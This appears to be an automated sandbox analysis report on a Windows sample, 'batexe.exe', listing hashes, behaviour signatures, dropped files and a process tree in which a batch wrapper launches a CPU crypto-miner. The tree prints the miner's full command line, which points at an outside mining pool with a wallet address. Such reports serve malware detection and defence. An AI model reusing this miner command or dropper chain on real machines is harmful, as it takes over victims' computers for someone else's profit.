73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
301s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14/02/2024, 12:29

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2308	b2e.exe
2144	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2144	cpuminer-sse2.exe
2144	cpuminer-sse2.exe
2144	cpuminer-sse2.exe
2144	cpuminer-sse2.exe
2144	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3328-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3328 wrote to memory of 2308	3328	batexe.exe	74
PID 3328 wrote to memory of 2308	3328	batexe.exe	74
PID 3328 wrote to memory of 2308	3328	batexe.exe	74
PID 2308 wrote to memory of 5000	2308	b2e.exe	75
PID 2308 wrote to memory of 5000	2308	b2e.exe	75
PID 2308 wrote to memory of 5000	2308	b2e.exe	75
PID 5000 wrote to memory of 2144	5000	cmd.exe	78
PID 5000 wrote to memory of 2144	5000	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Users\Admin\AppData\Local\Temp\A131.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A131.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A131.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2308
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A4DB.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5000
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A131.tmp\b2e.exe

Filesize
8.6MB

MD5
962895566149e3ba069e848b788fc26d

SHA1
9707e4728751f02f130f28b4bb2978e8cad68e8c

SHA256
7c544c1e74627614357505557f028e1f08b163e78b9d230169fcd746083f5aff

SHA512
fda892854a462a005fd842c67085f56d67410403e92056afd3174711817ae30a9dab7f4b1e055277aa5dcbfc8e4df55b8aefe7ddfc8c70ad894c7751665fee4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\A131.tmp\b2e.exe

Filesize
9.8MB

MD5
09e18107b38b429d4ac688386ba7b843

SHA1
a93c2087c4a4acb52bbfce7f2d9fae7994d3d60d

SHA256
c686da9cf666cf0569aa953787e64f7fec891a733d202dcd45d6736968dbadac

SHA512
982aa29bf463f82c50dbd88f90111918df742499716b2f75d03cef6b7ba3aef50d70ad225c6b62490643f2a49fa225744010cfc26ab0a449cc1b7b3577f8faa9

Download Submit
C:\Users\Admin\AppData\Local\Temp\A4DB.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
c3d8cd8f8528fd7e6fd62c51fd1d9058

SHA1
94047a6308f2e3bc22aaf74d5ba5b15c438757a4

SHA256
80d1ee1f1ad59a18ea733f1cb2aca8ddce62d4104d4e9346be90055b9b95cf22

SHA512
fea1e9c4ccc27b987bed71bc85988574ca7b41cbd96468ce7f62fabc96b75d4a3d34d27615e598578047b959c9b233736786c5e3cfeeffb162de991709e751cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.5MB

MD5
5142990808f5b4bf358308894eda6023

SHA1
74a171e66cb33a0a58f0c124504424aa46cbc508

SHA256
af5e126e1380122cbe16d6cebed25ea3c796298294ba54ef20ced28dc5cf69fb

SHA512
734aca81b8940e265b65b48a337237c2661f6d8d72f7e7190243c2df57912ef72faa94108dda3467d2866558e9f3db13a59f66ee1a242f52ac8e96891f07f3db

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.8MB

MD5
f24bdc154c8b1ed7603372aa7fc99bcb

SHA1
a2058d028cc583020628766109978f852042b767

SHA256
8862784047a4dbb66840c579cbaedf614bd614c31f69327c576f73974bc95717

SHA512
9c2d04c6b96b695044a4b729a21313492b4a360164f0e1b7488c8ad413d47b8185ddb491bb1a0818cae2203df4ce5685b507987983f77dad9bdb29e7bbe8092c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.4MB

MD5
5fdc5b2d28d1e1848d0901475814a740

SHA1
450072f333b7af77d41c23f0a920475c79d7ad62

SHA256
ab33f002776f686ee21c620b9358e55ec24a3692fdcc517090ce9401bc781b94

SHA512
4a3ac5a2199e78a51210683585f42ea7753306a9010937cc8032761038b778687ee515bcefb4e17e493098ac89051fd9666adf160f75626242cd698ed6cbf7f4

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2144-44-0x0000000001010000-0x00000000028C5000-memory.dmp

Filesize
24.7MB

Download
memory/2144-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2144-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2144-43-0x0000000067BF0000-0x0000000067C88000-memory.dmp

Filesize
608KB

Download
memory/2144-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-47-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2144-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2144-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2308-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2308-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3328-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download